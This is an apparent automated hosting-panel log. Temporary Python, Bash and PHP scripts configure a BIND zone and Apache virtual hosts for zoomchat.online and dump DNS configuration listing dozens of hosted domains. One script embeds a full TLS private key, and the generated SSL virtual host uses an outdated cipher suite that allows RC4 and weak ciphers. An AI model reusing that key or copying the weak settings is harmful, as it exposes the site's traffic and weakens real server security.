2025-10-22 12:26:21: 

PUT: /tmp/pkp951035

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '6cba0a95209be6ac4156e85379be0bd6'
ZONE_NAME = 'zoomchat.online'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-10-22 12:26:21: 

chmod 755 /tmp/pkp951035; /tmp/pkp951035; rm /tmp/pkp951035

2025-10-22 12:26:21: 




2025-10-22 12:26:21: 

PUT: /tmp/pkp717683

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2025-10-22 12:26:21: 

chmod 755 /tmp/pkp717683; /tmp/pkp717683; rm /tmp/pkp717683

2025-10-22 12:26:21: 


status=Reloading BIND9


2025-10-22 12:26:21: Establishing a connection
2025-10-22 12:26:23: 

PUT: /tmp/pkp525303

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '6cba0a95209be6ac4156e85379be0bd6'
ZONE_NAME = 'zoomchat.online'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-10-22 12:26:23: 

chmod 755 /tmp/pkp525303; /tmp/pkp525303; rm /tmp/pkp525303

2025-10-22 12:26:24: 




2025-10-22 12:26:24: 

PUT: /tmp/pkp942584

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2025-10-22 12:26:24: 

chmod 755 /tmp/pkp942584; /tmp/pkp942584; rm /tmp/pkp942584

2025-10-22 12:26:25: 


status=Reloading BIND9


2025-10-22 12:26:30: Establishing a connection
2025-10-22 12:26:31: 

PUT: /tmp/pkp631889

#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt

cat > $temp_file <<'endmsg'
84:2c:70:2c:1c:a7:11:4d:c2:c2:11:c7:07:93:b2:44

-----BEGIN CERTIFICATE-----
MIIDWTCCAkGgAwIBAgIURxxNcSuTmKSLYN3r19VIcVpfCpwwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MTAyMjEyMjYzMFoXDTI2MTAyMjEyMjYzMFow
GjEYMBYGA1UEAwwPem9vbWNoYXQub25saW5lMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAu09ExHZpYq3rv4iA6g+g8+71vMFMr+otdcf6/aQRnW28zbZ+
/y7PXB83OPaLD/rZA3hwjveTI3l00KeLUKKniBO+FbPoO/a4FRRFew52E+v/jhXY
GrALdfyAA8qCBzl6ygO/h1XJR9KGYKNj1WJgo/Wc38gIKfqtqTOX+7SwXDG/gSJJ
L6azvbhLV5sLPQxpTFLgJWrsQBb8a2agc4FL1IWrnSUx6eWGSO8O4hLVW+p0OEWj
Rl/Rz69Tt8u7XFoeluiNRytpThtLD3HmOSHPQUZy7lHv8AlpdRBP1z1ZvPzmBEKz
fR7JgQJ5BUM1/cZtIqg1vByDJkHIDu0k2KuD3wIDAQABo3YwdDAdBgNVHQ4EFgQU
ucx6jw/ZA21hbOuSOtqbN0fwlXgwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziC
V0swc/wwCwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwGgYDVR0RBBMwEYIPem9vbWNo
YXQub25saW5lMA0GCSqGSIb3DQEBCwUAA4IBAQB0COOi4Yr2LVMnUuCO6hYx5onm
ds0Sxx7Y5vhBpubAa+f0KpyAL4LI4Us4MU/KpYir4LVGuphkCVxA9hhr2qZK6hgP
Q43wBzzDJm+kusgsbxuaZ5BOPENiHwtsPlUK2Z4oh8Mg4ZfHnuQnK/2yi2ZHuqi1
TVODMqaFBSyca3rDXHNw5gC2nhJJtyiKUSiLjcnahU+m+FMxnMIchGysBlSy2QHT
PoGFqu7pHWz1kxXGpTkJvI58+7mQHcaO3g4CStx6RuTAUnahEXFcPy1OzZDUo1JZ
BhtDSGwYG775Phn2HJroeTHjHnGWBmruV96/8Yp02HJXJTlrsmC7S7WRzans
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC7T0TEdmlireu/
iIDqD6Dz7vW8wUyv6i11x/r9pBGdbbzNtn7/Ls9cHzc49osP+tkDeHCO95MjeXTQ
p4tQoqeIE74Vs+g79rgVFEV7DnYT6/+OFdgasAt1/IADyoIHOXrKA7+HVclH0oZg
o2PVYmCj9ZzfyAgp+q2pM5f7tLBcMb+BIkkvprO9uEtXmws9DGlMUuAlauxAFvxr
ZqBzgUvUhaudJTHp5YZI7w7iEtVb6nQ4RaNGX9HPr1O3y7tcWh6W6I1HK2lOG0sP
ceY5Ic9BRnLuUe/wCWl1EE/XPVm8/OYEQrN9HsmBAnkFQzX9xm0iqDW8HIMmQcgO
7STYq4PfAgMBAAECggEBALrEQHpw44X8i1vwvTIloUR5mde7Gj8yDmAppi+wn8vM
tvyboqfJwgNGMOcAlgq6Ahc+yWUUoUc2/O5skTI27Tt3DAtR1xerW0PRcbJQ6hXV
NH01dMSvks3zlqWxD9QqUTALareEJ24REeJcKNiE/n2eEuzj5JgPF4fmJP5a3Zse
XufFfqTizw6SmsZBzrMw9OjdDUAji99L9jNdOzI8+O+kLqFtx3/ELcIPraqWwEl1
aj7WwzpwU7PnhZcgAn+m7Iob/5JWSPJqscjg6YG7urd5JHrR0kkOIQGlrrTr+NRj
5OAzlH0QJO0/T2nUmOO0ClKBdxtY3Xf+bVN4UCJtO0ECgYEA3qIG9gP50uVE4YMJ
VP1CEzuUP9U9J+fJ7HtOMNdK91G85hrOm2v7eJAoPTmuI8fHED7qMHjGL9ORs2e+
eKxVqTR8RwJPgZ93zBblfPux/yTFukNGVA91kh8qPaR4MVT7pyMfCA32KilcQBnW
AUvSZlctMZWk0h1AAHJXLqN+niECgYEA12H1h9owQ+czpGbzM0QW2nSqb0rL/ybf
vLpWULvyl1N/vlJrzTnHEl74FExTTd1Ptf2nnPeHCBxIJjZCnnUbizyFwWZt1SI+
M/ydt6Gqkws3GVx4TAO9YvIxxbu2lOS8m/C/vPd1njJpfmyZj7jbMW9qQipwpwXB
e9K8TOhx4f8CgYEAu5v4l7pz/SedKxicdZVR6Bkt7bjJZ2Zpf7HNC1Vx5AZqU9JF
Ry3w5QE+F5IS0C4a7vLFsQElqcn1HyUOmmxHZ2ZGUCR/UXFLp52n1/HWZnbbdQIa
Mt4wKmm+0+FUM+Y0hv0Oul/hkFf4WEAtWjxF2l4eRImhMjrZ40Z3d2LpYWECgYEA
iNVvS9POfhVQtc3CDHvhmQAtl28Jkxx7YEdxtvDw+jrOGXf7jPJ8CqvTJ/Ilqn5D
ufdgmVSYsQpmvAAU6t6zlQ3qXCha9uE+a4C+In/PAoRJiQ86TfDCTS5ZeKn9ITMA
sIGPDtqYGt0kMHGGTcy/VPTXqRmVYEdD2QrVHnc+grkCgYBhdmuSBxnH5I+Ogz5N
vn1JWgvcJpqa7sTPlZxSVoaXiy8KTNTbxJQXk84QCChf3GWxmH1/X0ZdM31w76kg
GmAa8K8NkQsj5+D5euo5gPnavRT57g9Z4iU6gZuCalWlHaV+fuNUb+frrmhg7uU7
yQ2kwXUTJya8a81D7YTvDvJ6rw==
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-22 12:26:32: 

chmod 755 /tmp/pkp631889; /tmp/pkp631889; rm /tmp/pkp631889

2025-10-22 12:26:33: 


dir=/etc/pki/tls/certs/


2025-10-22 12:26:33: 

PUT: /tmp/pkp205049

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-22 12:26:33: 

chmod 755 /tmp/pkp205049; /tmp/pkp205049; rm /tmp/pkp205049

2025-10-22 12:26:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 754

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header unset ETag	
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
    </Directory>
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-10-22 12:26:33: 

PUT: /tmp/pkp726524

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=/var/www/zoomchat_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header unset ETag	
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
    </Directory>
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/httpd/zoomchat
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi


2025-10-22 12:26:34: 

chmod 755 /tmp/pkp726524; /tmp/pkp726524; rm /tmp/pkp726524

2025-10-22 12:26:34: 


link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf
file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1


2025-10-22 12:26:34: 

PUT: /tmp/pkp933456

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-22 12:26:35: 

chmod 755 /tmp/pkp933456; /tmp/pkp933456; rm /tmp/pkp933456

2025-10-22 12:26:35: 


.


2025-10-22 12:26:35: Establishing a connection
2025-10-22 12:26:35: 

PUT: /tmp/pkp486869

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-22 12:26:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp486869; rm /tmp/pkp486869'

2025-10-22 12:26:36: 
2025-10-22 12:26:36: 

PUT: /tmp/pkp352469

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')
    show_file('/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf')
    show_file('/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 12:26:36: 

chmod 755 /tmp/pkp352469; /tmp/pkp352469; rm /tmp/pkp352469

2025-10-22 12:26:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	4911
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf	251
# this is an automatically created file: manual changes will be overwritten.
zone "zoomchat.online" IN {
  ##owner 0;
  type master;
  file "6cba0a95209be6ac4156e85379be0bd6.txt";
  allow-transfer { 66.175.233.192;  };
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt	441
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
zoomchat.online.         		 IN    SOA      	zoomchat.online. hostmaster.zoomchat.online. ( 132227196 14400 3600 14400 3600 )
zoomchat.online.         		 IN    NS       	ns1.hostz.org.
zoomchat.online.         		 IN    NS       	ns2.hostz.org.
zoomchat.online.          60	 IN    A        	74.208.25.170
www.zoomchat.online.      60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
